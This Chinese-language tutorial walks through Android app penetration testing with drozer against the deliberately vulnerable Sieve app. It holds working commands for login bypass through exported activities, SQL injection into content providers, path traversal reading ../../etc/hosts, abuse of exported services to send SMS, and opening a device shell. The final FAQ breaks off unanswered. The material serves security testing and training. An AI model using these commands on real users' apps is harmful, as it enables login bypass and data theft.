安装drozer准备:
PC上需要
- 安装adb
- 安装JDK
- 安装python
- 手机上也要安装drozer agent
drozer下载地址:https://labs.mwrinfosecurity.com/tools/drozer/里边包含agent.apk。
参考URL:http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html
测试流程:以Sieve(一款Android测试APP)为例
0x00 启动drozer
adb connect 127.0.0.1:62001 //adb连接设备,只有模拟器才需要这一步
adb forward tcp:31415 tcp:31415 //端口转发,连接drozer服务
drozer console connect //连接drozer
服务开启界面
0x01 确定攻击面
dz> run app.package.list //列出安装的所有应用包名
dz> run app.package.list -f sieve //搜索特定的包名
dz> run app.package.info -a com.mwr.example.sieve //查看应用的信息
Application Label: app名称
Process Name: 运行该app的进程名称
Version: 版本号
Data Directory: 该app相关数据的存储路径
APK Path: app真正的package文件所在路径
UID: app关联的用户ID
GID:组ID
Shared Libraries:app使用的共享库
Shared User ID: 可以使用该app的共享用户的ID
Uses Permissions:权限列表
Defines Permissions:
dz> run app.package.attacksurface com.mwr.example.sieve //识别攻击面
0x02 设置Sieve
设置密码为123456acitseccom
设置PIN为1234
进去功能界面,添加新的密码,邮箱;主要是为了往数据库添加数据,方便之后的攻击显示结果。
0x03 测试activities exported (容易绕过登陆验证)
dz> run app.activity.info -a com.mwr.example.sieve //显示暴露的Activity信息
本来app需要输入pin或者密码才能进去主界面,但是看到FileSelectActivity和PWList明显是登陆进去后的界面,这里我们可以直接调用此两个activity,从而绕过登陆验证。
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //该命令会生成一个合适的intent来启动activity
直接进入密码列表;
0x04 测试 content provider(易造成数据库泄露,sql注入等问题)
dz> run app.provider.info -a com.mwr.example.sieve //列举Content Provider的信息
dz> run app.provider.finduri com.mwr.example.sieve //枚举uri
dz> run scanner.provider.finduris -a com.mwr.example.sieve //使用扫描器枚举uri
dz> run scanner.provider.injection -a com.mwr.example.sieve //检测可利用uri,检查sql注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ //获取数据库数据(即为之前保存的密码,邮箱信息)
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --vertical //竖直显示数据库数据
利用-h 显示更多参数信息。
利用暴露的content provider进行sql注入
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --projection "'" //数据库返回错误信息,和sql查询语句,再进行构造,从而查询自己想要获取的数据库信息
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Keys/ --selection "'"
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';-- " //使用Sql注入列出数据库中的所有数据表
从File System-backed Content Providers获取信息
dz> run scanner.provider.traversal -a com.mwr.example.sieve //检测 目录遍历
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/../../etc/hosts //遍历目录
dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/etc/hosts hosts //下载指定文件到指定目录(windows下不建议指定目录,会有问题,直接下到drozer的主目录下)
0x05 测试services exported (权限提升)
run app.service.info -a com.android.nsf //获取 service 详情
run app.service.send com.adnroid.nsf com.igexin.sdk.PushServiceUser --msg 1 2 3 //访
run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
0x06 测试broadcast receivers exported(拒绝服务)
run app.broadcast.info -a com.android.nsf //获取broadcast receivers信息
run app.broadcast.send com.android.nsf
run app.broadcast.send --component 包名 --action android.intent.action.XXX
0x07 其它模块
shell.start //在设备上开启一个交互shell tools.file.upload / tools.file.download //上传/下载文件到设备 tools.setup.busybox / tools.setup.minimalsu //安装可用的二进制文件
常见问题:
问题1:drozer怎么连接虚拟机?
adb connect 127.0.0.1:62001 //连接夜神模拟器专用端口
问题2:为什么连接成功,但是命令执行没反应,找不到安装包?
自己用的是windows下的drozer,必须要在drozer的安装目录下开启drozer才能进行下一步的操作。
问题3:乱码问题怎么解决?